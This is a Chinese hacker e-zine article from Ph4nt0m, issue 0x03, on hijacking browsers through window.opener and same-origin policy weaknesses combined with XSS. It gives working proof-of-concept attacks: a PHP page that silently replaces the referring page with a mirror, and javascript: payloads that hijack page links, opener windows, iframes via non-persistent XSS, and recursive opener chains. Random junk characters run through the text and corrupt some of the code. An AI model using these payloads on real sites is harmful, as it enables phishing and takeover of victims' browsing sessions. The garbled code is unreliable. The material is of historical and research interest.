==Ph4nt0m Security Team==! T: M: M" n/ X8 w2 q9 w5 O v
# l3 F: f5 Q$ n6 ~' L Issue 0x03, Phile #0x05 of 0x077 C3 n1 L! w1 {; A V
/ G0 H; Y/ W7 D. M2 ]+ l
+ U }- j1 ]; l' l9 v7 c/ {
|=---------------------------------------------------------------------------=|7 h- P1 u. j* P
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|) n6 E9 L# S1 X* X$ P5 C3 P
|=---------------------------------------------------------------------------=|/ p$ v1 f1 H/ D9 u
|=---------------------------------------------------------------------------=|5 [' w5 U `; k
|=------------------------=[ By rayh4c ]=---------------------------=|
! J! Z8 D7 x" F|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|, g1 C. j. ^+ L0 X+ F9 ~. p
|=---------------------------------------------------------------------------=|
3 O2 V' L. e( e9 O- K5 @) i8 v) T3 c7 U: s& { r8 o* t5 l9 W7 c: D( z
1 S0 ]" U; q) q2 k+ v[目录]
0 r% y( B m' x: Q" j: H( ]
; W! o5 g7 L6 h) P1. 前言
# |' `/ _+ V2 H7 m4 g2. 同源策略简叙. Z* T& ^* K3 T2 ]( V" t
3. 理解window对象的同源策略/ g' ?2 y( V: Q! }# J
4. 窗口引用功能中的同源策略漏洞! e% T3 f/ ^- ]+ k
4.1 父窗口引用子窗口的同源策略问题
: t# x* I5 M% l) d! m 4.2 子窗口引用父窗口的同源策略问题# G) m0 \+ C. _
5. 利用窗口引用漏洞劫持浏览器, a r% Q" ^" c$ v. J* q. d" l
6. 利用XSS漏洞劫持浏览器
6 D+ g" W7 D9 D2 ?; a0 d1 B 6.1 正向跨窗口劫持
& B6 x0 Q7 l' s2 y8 u: \ 6.2 反向跨窗口劫持# H& y6 {% Y4 L! O
6.3 极度危险的跨框架窗口引用劫持/ q5 M+ s" y7 y+ Z: x4 H6 G! G
6.4 极度危险的正反向跨窗口递归劫持
* m1 b) R+ A1 U4 m8 }8 Q 6.5 完全控制浏览器
4 @5 w. L- `- x0 @. f: O7. 后记9 N. P( X- b# b/ S
8. 参考. Z2 i) F; N: P7 c$ p
6 J8 I4 B! ^( T" s- o
" }1 ~' u! F+ d8 ]" U
一、前言
. @9 g) G, s$ C. z, m0 [3 Y1 c! h. r! q+ D) k2 A
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋0 `; J5 p1 A, O: t" K5 i& ?6 U1 w6 U! D
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session6 K0 ~: Z# l, l5 z
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
7 |" y% ]- R7 c条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
4 v4 f/ M6 v! [$ ~! I8 o3 }0 F2 k# o5 y' F: @- o3 C5 \
7 P2 n& X& J% G$ H' l5 `
二、同源策略简叙0 p( J) q# d k3 a8 {+ U
9 R$ J8 }; `. ]. d5 P4 v
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
3 ]" r& o8 I5 Z, M从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
% `$ {% ~; R& s5 {, ?) n曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木( M# m! g" z/ X# k, Y- d' f( l% v
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
# \2 t' V+ y! ?6 N& z漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。2 X, G1 @" _4 n; T
' t/ R% _ X$ F. b( S( I
" g8 {- b% n! `三、理解window对象的同源策略7 y4 w/ d4 F7 p: V" o) }, a
8 R5 ?" @8 I* `0 q/ W
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对$ T* a1 y' t& k8 `' g8 Q* G7 s
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:5 i9 t- U8 B5 ]9 \2 A/ b
; d; L( w6 m' Z8 J3 ], }--code-------------------------------------------------------------------------6 D! M# ^& j$ v+ v; a3 U
<script language="javascript">
5 g' U! a* t1 [ ?for(p in window) document.write(p+"<br>");
) X" P: o" I$ b</script>( p8 A, t2 | ~$ d0 x% B$ G* F2 G4 n
-------------------------------------------------------------------------------
' n" ]: ^) E: f( Y& k! T, P! [' |& _ ]& w) v2 j. k* [2 x" R* Z
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
" j, \( P( [2 U8 U' b$ c法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
$ n; P: \6 l* k% I这些属性和方法就必须遵循同源策略。( [+ T8 M4 l7 {; K+ x
* P- }7 n, K3 k3 i1 _) F
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
+ F4 n: R; |) z3 }0 B么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须/ J9 E5 c8 C$ o( ?; @
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这/ \2 j5 ]0 A# p% A3 W: T8 S j" R
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
% A4 w- R0 i! D% O值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location9 l3 j" G+ O4 a# X$ r) R
属性并没有被拒绝访问。
" X' c) I5 Z% V
6 X- a1 x2 F' ^9 n--demo.html--------------------------------------------------------------------
3 Q7 h0 x# f6 Y. Q0 n; Q% h; ?8 G<script language="javascript"> ( L3 k, t- x, V* `0 j/ b; i9 d$ C9 w
function allPrpos(obj) {
" ], ~9 c% m: l" o. ^% ], _% E var props = "<table><tr><td>名称</td><td>值</td>";
7 l* [$ J& y; U8 \: _8 x! V for(var p in obj){ $ _ U3 B# `+ E/ i* _6 I% l
if(typeof(obj[p])=="function"){
3 L* I! n& o1 P4 N obj[p](); 5 I9 ` h0 L# h' O8 s% e
}else{
- h# j4 {4 F$ H4 n0 R+ { try
- {1 r; v' U. a$ w7 u, b7 y' A) Z) B { & l$ D3 T5 L, R) D5 o
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; / G+ M- K# } C9 O
} & e9 W9 x4 N; Z, C
catch (ex) , u& x. G! b ]5 h5 ?
{ # S- U- a$ ?& w; Y3 D
! b: F5 q# J' o* r* F1 S% T
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
: U# | t9 Q5 g/ x( W1 T- c& R } 4 p- Q" Y/ W5 ^ _. l9 Q) K
* f( h8 u5 e6 |- W7 m
}
" y( C4 C+ b! l0 k' Q( s } F$ P# E. y2 }% e' l' {6 j7 M% C
: a K3 W v( S3 F: X7 ` document.write(props+"</table>");
2 {; z% l% {0 i3 i S/ ^} . U" ^# s3 }4 T5 p6 [4 j% P) d
0 o, z+ }& s$ V) U2 ^# E/ E, f! J: Ffunction createWin() {
* l' f. e `# O5 x( s$ I* q newWin = window.open ("http://www.google.com");
1 F, T, v1 W) H% ^4 |" } setTimeout(function(){allPrpos(newWin)},2000); 8 d1 l5 H* ?4 i+ ~6 @2 o7 Z
}
& T' y! `$ P, r1 F8 D4 Q0 p* ^) u E6 ?% _/ q
</script>
/ I: l/ s& y/ a% H% Q
% `* W. v# \! i# V c/ h. `<button onclick='createWin()'>创建一个非同源子窗口测试</button>6 \: W3 E: `3 b+ `
-------------------------------------------------------------------------------
7 ?! @* Q2 J# M! P8 \8 R+ o1 e) V9 C% u8 L0 Y- d1 ^3 J; K* V
" ]1 @. e, D5 X. u
四、窗口引用功能中的同源策略漏洞
; T2 f z9 q( T- }) O% \* _; ^5 ], v. [! }
4.1 父窗口引用子窗口的同源策略问题
% a% |) \3 x" @; n2 A# B1 ]; L2 P' d2 K% g1 ~, s& O
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,/ R- A: w- q% [4 F
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
5 z0 ~2 z5 |, b0 y浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
5 H! i+ ^* m: s$ ^ O行测试,会发现父窗口可以控制非同源子窗口location属性值。* G8 a- [" N. u7 s: a& R: H
7 _/ ~' c, v0 {, p f6 w
--vul1.html--------------------------------------------------------------------
- ?' w5 L1 W6 R5 h+ Y1 g/ c<script language="javascript"> 2 S) h9 U' v# n/ N- u
function createWin() {
& b5 y9 g7 Q5 ^1 L* y newWin = window.open ("http://www.google.com");
. q& }3 Q$ X1 C9 b setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
- P: s. k* o1 i7 j/ b}
# g e+ r9 k' c; u- Y</script>
3 W$ `0 }+ s& z4 \1 I
: H6 U9 C/ K4 w0 v<button onclick='createWin()'>创建一个非同源子窗口测试</button>
8 H! I$ E7 X4 L+ R! a$ L$ l1 @# x-------------------------------------------------------------------------------
2 d2 Y" a j+ X6 j; ]# K& j# ^" @4 C/ L; A0 b0 {6 p& W2 ]; a
1 [5 m, s; o3 f) a+ q% A9 \ f5 e4.2 子窗口引用父窗口的同源策略问题( v8 D/ x' Y1 Q' I V5 p) [! d
" c: t2 N/ J0 C$ _0 d: T: {; t 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
: W" Y' L5 f) w$ V) N7 f% {用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
" w! } P3 n$ H! I0 A* F. Z( D/ A可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定+ U9 X+ k" F. Z& k* j
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
# q' p6 c, H, e) \7 e3 a- C" U! Z8 s; d/ S6 E" D
--code-------------------------------------------------------------------------' c, `$ B6 s, ]8 @0 Q8 ]' S" A
5 I9 c$ D6 J Y F! K' A0 ?# xjavascript:window.opener.location = "http://www.80sec.com";void(0);- [ E$ R" T3 E! Y
9 C% e% Q- E! l) |% d+ S5 k-------------------------------------------------------------------------------
$ X3 P; M& ^7 C9 |. @. U5 Q, x5 K Z. U& h! E! A
6 e C" [/ Q0 v! h, ~7 x五、利用窗口引用漏洞劫持浏览器
6 t0 G1 W$ {0 Q
4 W; U/ k7 F' ~. J5 F( W- s 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子) c, q9 A0 \6 Z, ]: z3 {+ t6 [
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那4 n- g7 i/ l' N. n
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。: u3 C! o: X m0 E* P; c
7 T, R q) n7 G0 L* f
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产% H3 q+ d; ~# p o; W
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或2 j, p8 _4 l9 c" q* e) K1 a
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接& A0 Q& k' j' k# I% j
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下. o9 r3 R N3 k# [. M% K( c( L* s: }0 _
会产生什么可怕的后果。
# D( p8 n1 {- Z3 H% f
w4 \' X+ y0 Q2 D6 x+ | 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
( d8 g J; m& @+ |- F9 `们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php2 L# r; e2 w+ B: w
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
+ f! Q8 y: @7 c4 M候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可% N: @0 G: j6 Z; N
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
$ R& q8 O' y: F9 r, Q- g9 ?- u% Y; n& X
--hjk_ref.php------------------------------------------------------------------
. G2 Q! X( n7 w* {6 Y- Q<?php
0 W2 s4 q/ ]) f u! \if (array_key_exists("HTTP_REFERER", $_SERVER)) {
0 O3 M! r2 q9 l4 z$ \$Url_Mirror = $_SERVER["HTTP_REFERER"];: ]7 [1 c/ t0 f; y5 Q) v# J
}
% f: E8 i( b1 t' z7 {# `. s0 M: ?if(isset ($_GET['ref'])) {$ Y3 b* i. A8 I6 A9 r- p
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
2 z8 d8 ~0 ~4 y$ ~; ~( N' x+ K ]}
% x) q4 Y% H* p6 J k/ H?>
' s N c4 U" |8 o4 E/ z3 p \( A$ ~% g; i3 A6 Q* D* i3 o
<script language="javascript">
' Z( ?7 B, v2 C9 m% P2 _setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
" F: C( [* O/ X' ], e) `</script>; C2 z3 n, C+ i& S2 w
-------------------------------------------------------------------------------
4 V; S# s6 V O2 O. p8 d1 X& `3 n& l; ~9 Z2 D8 i
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
5 L* e& ], C$ B9 [3 k, L4 b" }9 V- m5 {( n
0 ~. e/ b% A9 \( l8 [六、利用XSS漏洞劫持浏览器
# _+ E: \8 W# u4 @3 C. Y
( I. T; q* R1 v 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为5 i' D- T) F6 B" t5 R, O
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后7 W$ B# _2 w: O" J
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
. S3 h/ d! ]" z讨论跨站师的终极技巧:+ n. c3 v7 z% S4 T7 z% d4 _- h
/ h3 D' M& O- Z
P* z' h- n Q* w2 I5 s
6.1 正向跨窗口劫持% z$ S1 t% o9 s6 J) r$ x4 F
, x3 ]+ Y1 X. N8 d M1 L/ n
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛& q4 s4 Y# U% \' |* j# Z6 X, M* d
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
r8 [- ^7 {7 [; {接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话3 M6 v; @ g6 L
框脚本。 . H$ y9 g% o; y4 T2 W
0 R0 z+ a! x, j--hijack_open.js---------------------------------------------------------------8 @, `& M5 ^' v1 M+ F N c
- K& G# \; v' J* ^
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);/ C7 i% d" S2 _- m" b5 f& {
0 |" b! Z( ]1 q" R- u! U* R2 {3 l
-------------------------------------------------------------------------------7 {: K8 \+ z! x% i
) k% I2 v5 v1 ?/ C! P
* M$ @2 r) P! z: `* M( r6.2 反向跨窗口劫持
- D4 a4 K# E% t: ^0 c5 g
; o$ g: I7 n1 p6 ?1 H6 ~% ? 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代4 u$ ?# G5 R8 Y# D- r6 v
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话; H9 c% Y0 q8 I$ F4 J$ p& R# T
框脚本。( M! H& {: M$ \8 G
3 z% `4 _9 S( z# `% k
--hijack_opener.js-------------------------------------------------------------
5 s6 g" E- Y; T6 G) M2 y M9 x9 P! Z! `& m/ ^* H7 Z% R
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);4 A: d& _* @! s# n$ D* ?" _
, U: B0 i0 Q7 W! m t, r3 ]
-------------------------------------------------------------------------------
: e6 y9 z$ \+ N6 d, E" K- w/ U. [. A" R& o1 l
$ G7 ?4 s1 H) B" B6.3 极度危险的跨框架窗口引用劫持
4 l- {2 e+ P2 W! G
4 d. A; Y" t/ L ^ L 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
E' Z( ~( n! b' Q2 {- N1 w D! D可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
8 e6 ]' p! e0 z( X; g3 y适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个 Z& b9 |, }& r8 t) ~
非持久型的XSS,如下:
2 z1 @' `: `: I A& l
+ V N+ K7 C& ]<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
2 o* ]/ k! z. x$ S) ], C6 L/ E1 D2 Y& n- P
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口+ V, ^. P1 q4 q, Z
注入脚本。
: q0 p, ]( Y) ?5 H& h4 p) n9 l% J( G/ n: L% n- R2 {4 h: N' T, I" f9 n, }
--hijack_frame_opener.js-------------------------------------------------------
3 j' b6 \9 J4 G) Z- c<script>
( I, Q4 U& ~' w1 q, Ywindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
3 j* C0 z9 m; N: P</script>1 S+ W! L* k6 _. `0 K( K8 M: Q
-------------------------------------------------------------------------------; W" n. f$ R! K; E" w, p
6 E2 [' D% b( Z) c* _- N
0 t4 ~5 J" r9 l: t8 V4 O# R6.4 极度危险的正反向跨窗口递归劫持
" }; K& {; w% j+ l) F7 [
6 d- ~, b3 }; S" w) p: _ luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
* [+ i. y% V [的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
- N) Z- e& F4 w" Z* ?/ ?异常处理规避之间跨域页面的访问异常,代码如下:' F: n Z+ \- ~+ p# I) `) v e E. x
1 G6 P4 k4 t: o0 M9 x% I( N! p--code-------------------------------------------------------------------------. B1 q$ C [$ c. y3 c5 A1 P
6 l; p$ l: M( s4 j: I2 T
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
# }2 f+ u: \! B& [" U E( h2 N* t, F
) W. g: x1 I A, W3 [! m( f' G-------------------------------------------------------------------------------, |- V1 S& s/ \7 r6 S' y/ W1 t
3 a; A# _! `' g2 |$ y 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可; ?! i; `5 |, O
以劫持B域之前的A域页面,从而实现“隔空打击”。6 o# w5 w" a: \: u& C! K! m
/ i) }& q6 r! O; @
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面 f9 f. l" ?1 e& O. P% E: X
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。+ Z4 B8 d0 N0 y! C
+ ~* G( N6 o3 ~ 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。0 A! z( ~& U! k: M1 W/ R
; f* k& w9 V; q* t
: B' @) h- o C+ s# l
6.5 完全控制浏览器
) n9 A! E- c A/ [8 |+ d: R1 K- j" u9 _' G r
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则1 _. p8 D! J. _5 ^; f
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
W' ]* m9 Y6 T/ e' e! ~- x- R漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
5 e5 b7 p( ]% Z- F# W而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
/ T( L/ i6 Y- D" m% j1 r6 c! {; z列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
]$ K5 Y, L6 ]) z师的终极目标 - 完全控制浏览器。
; ^/ P+ K3 v( q$ h8 Y7 j. x
/ l* Z+ |# U( I( ?, a8 c: ~/ a ]+ C/ ^0 s& u0 D" Y8 H( j O
七、后记1 H2 p! [/ B% R
! j7 F5 T; \9 N3 C& D' E- J A 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全1 h2 a6 t$ h3 G, S5 s
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予4 T$ R' a; U6 ?. I% b5 S9 ]8 F, b
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
1 \2 t6 m" V9 h; Z% N4 j3 O: e% O6 k1 K. O5 u1 e' F( K+ i' e
- E; P9 T' j# o- Z3 z" p
八、参考
9 h$ K ^& @8 Q3 c
! \0 h% T2 r* g0 C' c& m5 ~7 Y1. http://en.wikipedia.org/wiki/Same_origin_policy
' ~* c g" N; ]6 k( q" K/ z3 F. s2. http://code.google.com/p/browser ... licy_for_DOM_access% e% X! P$ }$ p
3. http://www.w3.org/TR/Window/
L& h ]: d! ?/ T4. http://www.80sec.com/release/browser-hijacking.txt
( `" H0 T( s2 B0 t) D7 h/ P5. http://www.80sec.com/all-browser-security-alert.html
& E4 m, h8 v* h% P% H6. http://www.80sec.com/ms08-058-attacks-google.html1 o3 J0 H9 k0 }6 u
6 }3 ~- n' ?0 ~1 R5 U$ c5 K8 R
-EOF- |